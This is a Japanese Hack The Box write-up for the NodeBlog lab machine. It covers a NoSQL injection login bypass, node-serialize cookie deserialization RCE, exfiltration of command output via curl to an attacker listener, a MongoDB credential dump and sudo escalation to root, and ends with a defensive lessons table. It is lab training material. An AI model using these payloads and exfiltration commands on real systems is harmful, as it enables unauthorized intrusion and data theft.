Hack The BoxのWriteup(NodeBlog)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: NodeBlog — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH) / 5000(Node.js Express)
→
NoSQLインジェクション
{“$ne”:”admin”} でログイン回避
→
server.js 解析
unserialize()が認証判定より先に実行
→
node-serialize IIFE RCE
authクッキーに仕込んだ関数即時実行
→
admin 権限コマンド実行
user.txt ✓
→
MongoDB 平文認証情報
admin:IppsecSaysPleaseSubscribe
→
sudo -S(RCEチャネル内)
SSHはpublickeyのみで不可
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,...,5000,... -T4 --max-retries 3 10.129.96.160
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 1.3 seconds

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,5000 10.129.96.160
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート5000で Node.js / Express 製の自作ブログアプリ (X-Powered-By: Express) が稼働。 Node.js系アプリは node-serialize 等の安全でないデシリアライゼーションライブラリやNoSQL (MongoDB) 特有の インジェクション脆弱性を持つことが多く、重点調査対象とする。

トップページの確認

BASH
curl -s http://10.129.96.160:5000/
RESULT(抜粋)
<h1 class="mb-4">Blog Articles</h1>
<a href="/login" class="btn btn-success">Login</a>
<div class="card-title">UHC Qualifiers</div>
<a href="articles/uhc-qualifiers" class="btn btn-primary">Read More</a>
ℹ️
未ログイン状態では「Login」ボタンのみ表示される。ブログ記事の新規作成・アップロードボタンは ログイン済み(authenticated=true)の場合のみDOMに出現する実装になっている (後述の認証バイパスで確認できる)。
PHASE 2

NoSQLインジェクションによるログイン回避

ログインフォームの確認

BASH
curl -s http://10.129.96.160:5000/login
RESULT
<form action="/login" method="POST">
  <input type="text" name="user" id="user">
  <input type="text" name="password" id="password">
  <button type="submit">Login</button>
</form>
ℹ️
バックエンドが MongoDB (mongoose) であることは Phase 1 で既に推測済み。MongoDBドライバは password フィールドに文字列ではなく JSONオブジェクト(MongoDB演算子)を そのまま渡すと、クエリ条件として解釈してしまうことがある(NoSQLインジェクション)。

JSON Content-Type + $ne 演算子でログイン回避

BASH
curl -s -i -X POST \
  -H "Content-Type: application/json" \
  -d '{"user":"admin","password":{"$ne":"admin"}}' \
  http://10.129.96.160:5000/login
RESULT
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: auth=%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D; Max-Age=900; Path=/; HttpOnly

<a href="/articles/new" class="btn btn-success">New Article</a>
<button class="btn btn-warning">Upload</button>
<a href="articles/edit/61b738427a6f86379f6c7ea3" class="btn btn-info">Edit</a>
✅
認証バイパス成功。 password: {"$ne": "admin"} は「password が文字列 “admin” と等しくない」という常に真になるMongoDBクエリ条件に解釈される。 結果として平文パスワードを知らなくても admin ユーザーとしてログインでき、 「New Article」「Upload」「Edit」「Delete」ボタンが出現した(=管理者権限でのレンダリング)。 なお、このステップで得られる auth クッキーの値自体は次フェーズのRCEには不要 (デシリアライズはクッキーの正当性を検証する前に実行されるため)。
PHASE 3

server.js ソース解析 — unserialize() が認証判定より先に実行される

脆弱な authenticated() 関数(RCE後に回収したソース)

NOTE (/opt/blog/server.js 抜粋)
const serialize = require('node-serialize')
const cookie_secret = "UHC-SecretCookie"

function authenticated(c) {
    if (typeof c == 'undefined')
        return false
    c = serialize.unserialize(c)
    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex'))) {
        return true
    } else {
        return false
    }
}

app.get('/', async (req, res) => {
    const articles = await Article.find().sort({ createdAt: 'desc' })
    res.render('articles/index', {
        articles: articles,
        ip: req.socket.remoteAddress,
        authenticated: authenticated(req.cookies.auth)
    })
})
🚨
致命的な欠陥: authenticated() は受け取ったクッキー文字列 c を 署名(sign)の検証より先に serialize.unserialize(c) へ渡している。 node-serialize は _$$ND_FUNC$$_ というマーカー付き文字列を見つけると、 JSONとしてではなくJavaScriptの関数リテラルとしてevalし、即時実行(IIFE)してしまう 既知の安全でないデシリアライゼーション脆弱性を持つ。つまり ログインに成功しているかは一切関係なく、 トップページへ悪意あるクッキーを送るだけでサーバー側で任意コードが実行できる。

node-serialize IIFEペイロードの構造

PYTHON (ペイロード生成イメージ)
# node-serialize は "_$$ND_FUNC$$_" + 関数定義 + "()" という文字列を
# JSON.parse の代わりにevalしてしまう。
# require('child_process').exec(...) をIIFEとして即時実行させる。

func_body = "require('child_process').exec('echo <base64>|base64 -d|bash', function(e,o,r){})"
payload   = '{"rce":"_$$ND_FUNC$$_function(){' + func_body + '}()"}'
cookie    = urllib.parse.quote(payload, safe='')   # Cookie値としてURLエンコード

# 実行したいシェルコマンドはbase64化してから echo|base64 -d|bash で復号実行する
# → シングルクォート・ダブルクォートの二重エスケープ地獄を回避するため
⚠️
実行結果(stdout/stderr)はサーバーのレスポンスボディには返らないため、 curl ... | curl -d @- http://<Kali>:<port>/ のように コマンド自体の中でKali側へHTTP POSTし外部へexfilする方式を取る (いわゆる blind RCE のアウトオブバンド取得)。
PHASE 4

node-serialize RCEの実行 & user.txt 取得

Exfil用リスナーの起動

BASH
# ターミナル1: コマンド結果の受信用リスナー
nc -lnvp 9999

悪意あるauthクッキーの生成

BASH
CMD='chmod +x /home/admin 2>/dev/null; cat /home/admin/user.txt 2>/dev/null; id'
B64=$(echo -n "($CMD) 2>&1 | curl -s --max-time 20 -d @- http://<KALI_IP>:9999/" | base64 -w0)
PAYLOAD="{\"rce\":\"_\$\$ND_FUNC\$\$_function(){require('child_process').exec('echo ${B64}|base64 -d|bash',function(e,o,r){})}()\"}"
COOKIE=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=''))" "$PAYLOAD")
ℹ️
/home/admin ディレクトリは 700 パーミッションで admin 所有のため、 user.txt を直接 cat する前に chmod +x で実行権限(ディレクトリ探索権)を付与 しておく必要がある点が本マシン特有のポイント。

トップページへクッキーを送ってデシリアライズを発火

BASH
curl -s --max-time 12 -b "auth=${COOKIE}" "http://10.129.96.160:5000/"
RESULT (nc :9999 リスナー側)
listening on [any] 9999 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.96.160] 49856
POST / HTTP/1.1
Host: 10.10.15.200:9999
Content-Type: application/x-www-form-urlencoded

e1b525dddcf07a1f3e04d2ec21dfd81buid=1000(admin) gid=1000(admin) groups=1000(admin)
✅
RCE成功! uid=1000(admin) としてコマンドが実行され、user.txtの内容が Kali側リスナーへHTTP POSTで届いた。ログイン自体は一切不要で、未認証のまま任意コード実行に到達している。
user.txt — admin
e1b525dddcf07a1f3e04d2ec21dfd81b
PHASE 5

権限昇格の下調べ — MongoDBから平文認証情報を回収

同じRCEチャネルでMongoDBのusersコレクションをダンプ

BASH
CMD='mongo --quiet blog --eval "db.users.find().forEach(function(u){print(u.username+\":\"+u.password)})"'
B64=$(echo -n "($CMD) 2>&1 | curl -s --max-time 20 -d @- http://<KALI_IP>:9999/" | base64 -w0)
# ...(Phase4-2と同じ要領でpayload/cookieを再構築)...
curl -s --max-time 12 -b "auth=${COOKIE}" "http://10.129.96.160:5000/"
RESULT (nc :9999 リスナー側)
POST / HTTP/1.1
Host: 10.10.15.200:9999

admin:IppsecSaysPleaseSubscribe
🚨
重大発見: ローカルの MongoDB (mongodb://localhost/blog、認証なし) に ユーザー資格情報が平文で保存されている。mongo CLIがRCE経由で そのまま実行できる=アプリサーバーを乗っ取った時点でDB全体も掌握できる構成上の弱点。
⚠️
ハマりポイント(SSH公開鍵のみ許可): 取得した admin:IppsecSaysPleaseSubscribe で ssh admin@10.129.96.160 を試すと Permission denied (publickey) で失敗する。 ssh -vvv で確認すると Authentications that can continue: publickey のみが提示され、 sshd側でパスワード認証が無効化(PasswordAuthentication no)されている。 このマシンでは SSH 経由の対話シェルではなく、RCEチャネル自体の中で sudo -S を使う ことが root.txt への正しい経路になる。
PHASE 6

RCEチャネル内 sudo -S → root.txt

RCE経由で sudo -S bash -c ‘cat /root/root.txt’ を実行

BASH
CMD="echo 'IppsecSaysPleaseSubscribe' | sudo -S bash -c 'cat /root/root.txt 2>/dev/null; id'"
B64=$(echo -n "($CMD) 2>&1 | curl -s --max-time 20 -d @- http://<KALI_IP>:9999/" | base64 -w0)
# ...(同様にpayload/cookieを再構築)...
curl -s --max-time 12 -b "auth=${COOKIE}" "http://10.129.96.160:5000/"
RESULT (nc :9999 リスナー側)
POST / HTTP/1.1
Host: 10.10.15.200:9999

[sudo] password for admin: 4d986a34bd100235986e271915b50a96uid=0(root) gid=0(root) groups=0(root)
✅
root化成功! admin ユーザーは sudo で全コマンドを実行可能なため、 MongoDBから回収したパスワードをそのまま sudo -S に渡すだけで uid=0(root) に到達した。 id の出力が root であることからシェル自体も完全に昇格済みであることが確認できる。
root.txt — root
4d986a34bd100235986e271915b50a96
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — admin
e1b525dddcf07a1f3e04d2ec21dfd81b
root.txt — root
4d986a34bd100235986e271915b50a96

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
NoSQLインジェクション /login (Express + mongoose) 認証バイパス Medium Content-Type: application/json + password:{"$ne":"admin"} で平文パスワード不要でログイン成功
node-serialize 安全でないデシリアライゼーション server.js authenticated() 関数 リモートコード実行(admin権限、未認証到達可) Critical _$$ND_FUNC$$_function(){...}() IIFE形式のクッキーを送るだけで署名検証前に任意コード実行
平文認証情報のDB保存 + 無制限sudo MongoDB (ローカル・認証なし) / sudoers 権限昇格(root) High RCEチャネル内で mongo CLIからパスワード平文取得 → 同じチャネルで sudo -S を直接実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22(SSH)/5000(Node.js Express “Blog”)
2NoSQLインジェクションJSON body + $ne 演算子admin としてログイン状態(UIにadmin操作ボタン出現)
3ソース解析RCE経由で server.js を取得・解析unserialize() が署名検証より先に実行される実装欠陥を確認
4RCE実行node-serialize IIFEペイロード + HTTP exfiluser.txt 取得(uid=1000 admin)
5資格情報収集RCE経由 mongo CLI ダンプadmin:IppsecSaysPleaseSubscribe(SSHはpublickeyのみで不使用と判明)
6権限昇格RCEチャネル内 sudo -Sroot.txt 取得(uid=0 root)

学んだ教訓 & 防御策

問題点防御策
MongoDBクエリにユーザー入力オブジェクトをそのまま渡している(NoSQLインジェクション) 入力値の型を明示的に検証(password は必ず文字列型であることを強制)し、express-mongo-sanitize 等でリクエストボディ中の $ 始まりキーを除去する。
クッキー値を署名検証より先に node-serialize でデシリアライズしている node-serialize を使わず JSON.parse を使う(関数のシリアライズが不要ならそもそも危険なライブラリを採用しない)。署名(HMAC)の検証をデシリアライズより先に行う実装順序に修正する。
MongoDBにユーザーパスワードが平文で保存されている bcrypt等でハッシュ化して保存し、平文パスワードをDBに残さない。アプリ⇄DB間も認証を有効化する。
一般ユーザー(admin)がパスワード付きで無制限 sudo 可能 必要な個別コマンドのみを sudoers に明示的に許可し、ALL=(ALL) ALL のような広すぎる権限を付与しない。
HackTheBox: NodeBlog | 完全攻略レポート